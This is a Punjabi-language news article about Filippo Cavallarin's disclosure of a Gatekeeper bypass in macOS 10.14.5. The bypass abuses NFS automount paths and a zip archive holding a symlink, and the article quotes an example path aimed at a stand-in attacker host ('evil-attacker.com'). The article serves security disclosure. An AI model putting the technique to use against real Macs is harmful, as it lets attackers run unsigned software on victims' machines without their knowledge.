ਅਮਾਇਆ ਤੋਮਨ ਸੁਰੱਖਿਆ ਖੋਜਕਰਤਾ ਫਿਲਿਪੋ ਕੈਵਲੇਰਿਨ ਨੇ ਆਪਣੇ ਬਲੌਗ 'ਤੇ ਮੈਕੋਸ 10.14.5 ਵਿੱਚ ਬੱਗ ਬਾਰੇ ਇੱਕ ਚੇਤਾਵਨੀ ਪੋਸਟ ਕੀਤੀ ਹੈ। ਇਸ ਵਿੱਚ ਗੇਟਕੀਪਰ ਦੇ ਸੁਰੱਖਿਆ ਉਪਾਵਾਂ ਨੂੰ ਪੂਰੀ ਤਰ੍ਹਾਂ ਬਾਈਪਾਸ ਕਰਨ ਦੀ ਸੰਭਾਵਨਾ ਸ਼ਾਮਲ ਹੈ। ਕੈਵਲੇਰਿਨ ਦੇ ਅਨੁਸਾਰ, ਉਸਨੇ ਇਸ ਸਾਲ ਫਰਵਰੀ ਵਿੱਚ ਪਹਿਲਾਂ ਹੀ ਐਪਲ ਨੂੰ ਗਲਤੀ ਵੱਲ ਧਿਆਨ ਦਿਵਾਇਆ ਸੀ, ਪਰ ਕੰਪਨੀ ਨੇ ਤਾਜ਼ਾ ਅਪਡੇਟ ਵਿੱਚ ਇਸ ਨੂੰ ਠੀਕ ਨਹੀਂ ਕੀਤਾ।
ਗੇਟਕੀਪਰ ਨੂੰ ਐਪਲ ਦੁਆਰਾ ਵਿਕਸਤ ਕੀਤਾ ਗਿਆ ਸੀ ਅਤੇ 2012 ਵਿੱਚ ਪਹਿਲੀ ਵਾਰ ਇਸਦੇ ਡੈਸਕਟੌਪ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਵਿੱਚ ਸ਼ਾਮਲ ਕੀਤਾ ਗਿਆ ਸੀ। ਇਹ ਇੱਕ ਵਿਧੀ ਹੈ ਜੋ ਉਪਭੋਗਤਾ ਦੀ ਜਾਣਕਾਰੀ ਅਤੇ ਸਹਿਮਤੀ ਤੋਂ ਬਿਨਾਂ ਕਿਸੇ ਐਪਲੀਕੇਸ਼ਨ ਨੂੰ ਚੱਲਣ ਤੋਂ ਰੋਕਦੀ ਹੈ। ਤੁਹਾਡੇ ਦੁਆਰਾ ਇੱਕ ਐਪ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਨ ਤੋਂ ਬਾਅਦ, ਗੇਟਕੀਪਰ ਆਪਣੇ ਆਪ ਇਹ ਦੇਖਣ ਲਈ ਇਸਦੇ ਕੋਡ ਦੀ ਜਾਂਚ ਕਰਦਾ ਹੈ ਕਿ ਕੀ ਸੌਫਟਵੇਅਰ ਐਪਲ ਦੁਆਰਾ ਸਹੀ ਢੰਗ ਨਾਲ ਹਸਤਾਖਰਿਤ ਹੈ ਜਾਂ ਨਹੀਂ।
ਇਹ ਹੋ ਸਕਦਾ ਹੈ ਤੁਹਾਡੀ ਦਿਲਚਸਪੀ
ਆਪਣੇ ਬਲੌਗ ਪੋਸਟ ਵਿੱਚ, ਕੈਵਲੇਰਿਨ ਕਹਿੰਦਾ ਹੈ ਕਿ ਗੇਟਕੀਪਰ, ਮੂਲ ਰੂਪ ਵਿੱਚ, ਬਾਹਰੀ ਸਟੋਰੇਜ ਅਤੇ ਨੈਟਵਰਕ ਸ਼ੇਅਰਾਂ ਦੋਵਾਂ ਨੂੰ ਸੁਰੱਖਿਅਤ ਸਥਾਨ ਸਮਝਦਾ ਹੈ। ਕੋਈ ਵੀ ਐਪਲੀਕੇਸ਼ਨ ਜੋ ਇਹਨਾਂ ਟੀਚਿਆਂ ਵਿੱਚ ਰਹਿੰਦੀ ਹੈ, ਇਸ ਲਈ ਗੇਟਕੀਪਰ ਦੀ ਜਾਂਚ ਤੋਂ ਬਿਨਾਂ ਆਪਣੇ ਆਪ ਲਾਂਚ ਕੀਤੀ ਜਾ ਸਕਦੀ ਹੈ। ਇਹ ਉਹ ਵਿਸ਼ੇਸ਼ਤਾ ਹੈ ਜਿਸਦਾ ਉਪਯੋਗ ਉਪਭੋਗਤਾ ਦੀ ਜਾਣਕਾਰੀ ਤੋਂ ਬਿਨਾਂ ਖਤਰਨਾਕ ਸੌਫਟਵੇਅਰ ਲਾਂਚ ਕਰਨ ਲਈ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ।
ਇੱਕ ਪਹਿਲੂ ਜੋ ਅਣਅਧਿਕਾਰਤ ਪਹੁੰਚ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ ਉਹ ਆਟੋਮਾਊਂਟ ਵਿਸ਼ੇਸ਼ਤਾ ਹੈ, ਜੋ ਉਪਭੋਗਤਾਵਾਂ ਨੂੰ "/net/" ਨਾਲ ਸ਼ੁਰੂ ਹੋਣ ਵਾਲੇ ਮਾਰਗ ਨੂੰ ਨਿਰਧਾਰਿਤ ਕਰਕੇ ਆਪਣੇ ਆਪ ਹੀ ਇੱਕ ਨੈੱਟਵਰਕ ਸ਼ੇਅਰ ਮਾਊਂਟ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ। ਇੱਕ ਉਦਾਹਰਨ ਦੇ ਤੌਰ 'ਤੇ, Cavallarin "ls /net/evil-attacker.com/sharedfolder/" ਮਾਰਗ ਦਾ ਹਵਾਲਾ ਦਿੰਦਾ ਹੈ ਜਿਸ ਨਾਲ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਇੱਕ "ਸ਼ੇਅਰਫੋਲਡਰ" ਫੋਲਡਰ ਦੀ ਸਮੱਗਰੀ ਨੂੰ ਇੱਕ ਰਿਮੋਟ ਟਿਕਾਣੇ ਵਿੱਚ ਲੋਡ ਕਰ ਸਕਦਾ ਹੈ ਜੋ ਸੰਭਾਵੀ ਤੌਰ 'ਤੇ ਖਤਰਨਾਕ ਹੋ ਸਕਦਾ ਹੈ।
ਤੁਸੀਂ ਵੀਡੀਓ ਵਿੱਚ ਧਮਕੀ ਦੇ ਕੰਮ ਕਰਨ ਦੇ ਤਰੀਕੇ ਨੂੰ ਦੇਖ ਸਕਦੇ ਹੋ:
ਇੱਕ ਹੋਰ ਕਾਰਕ ਇਹ ਤੱਥ ਹੈ ਕਿ ਜੇਕਰ ਇੱਕ ਜ਼ਿਪ ਆਰਕਾਈਵ ਜਿਸ ਵਿੱਚ ਇੱਕ ਖਾਸ ਸਿਮਲਿੰਕ ਆਟੋਮਾਊਂਟ ਫੰਕਸ਼ਨ ਵੱਲ ਜਾਂਦਾ ਹੈ ਸਾਂਝਾ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਤਾਂ ਇਸਦੀ ਗੇਟਕੀਪਰ ਦੁਆਰਾ ਜਾਂਚ ਨਹੀਂ ਕੀਤੀ ਜਾਵੇਗੀ। ਇਸ ਤਰ੍ਹਾਂ, ਪੀੜਤ ਆਸਾਨੀ ਨਾਲ ਖਤਰਨਾਕ ਪੁਰਾਲੇਖ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰ ਸਕਦਾ ਹੈ ਅਤੇ ਇਸਨੂੰ ਅਨਜ਼ਿਪ ਕਰ ਸਕਦਾ ਹੈ, ਜਿਸ ਨਾਲ ਹਮਲਾਵਰ ਨੂੰ ਉਪਭੋਗਤਾ ਦੀ ਜਾਣਕਾਰੀ ਤੋਂ ਬਿਨਾਂ ਮੈਕ 'ਤੇ ਲਗਭਗ ਕੋਈ ਵੀ ਸੌਫਟਵੇਅਰ ਚਲਾਉਣ ਦੀ ਇਜਾਜ਼ਤ ਮਿਲਦੀ ਹੈ। ਫਾਈਂਡਰ, ਜੋ ਕਿ ਕੁਝ ਐਕਸਟੈਂਸ਼ਨਾਂ ਨੂੰ ਮੂਲ ਰੂਪ ਵਿੱਚ ਲੁਕਾਉਂਦਾ ਹੈ, ਵਿੱਚ ਵੀ ਇਸ ਕਮਜ਼ੋਰੀ ਦਾ ਹਿੱਸਾ ਹੈ।
ਕੈਵਲੇਰਿਨ ਨੇ ਆਪਣੇ ਬਲੌਗ 'ਤੇ ਕਿਹਾ ਹੈ ਕਿ ਐਪਲ ਨੇ ਇਸ ਸਾਲ 22 ਫਰਵਰੀ ਨੂੰ ਮੈਕੋਸ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਦੀ ਕਮਜ਼ੋਰੀ ਵੱਲ ਧਿਆਨ ਖਿੱਚਿਆ ਸੀ। ਪਰ ਮਈ ਦੇ ਅੱਧ ਵਿੱਚ, ਐਪਲ ਨੇ ਕੈਵਲੇਰਿਨ ਨਾਲ ਸੰਚਾਰ ਕਰਨਾ ਬੰਦ ਕਰ ਦਿੱਤਾ, ਇਸਲਈ ਕੈਵਲੇਰਿਨ ਨੇ ਪੂਰੀ ਗੱਲ ਜਨਤਕ ਕਰਨ ਦਾ ਫੈਸਲਾ ਕੀਤਾ।
ਸਰੋਤ: FCVL
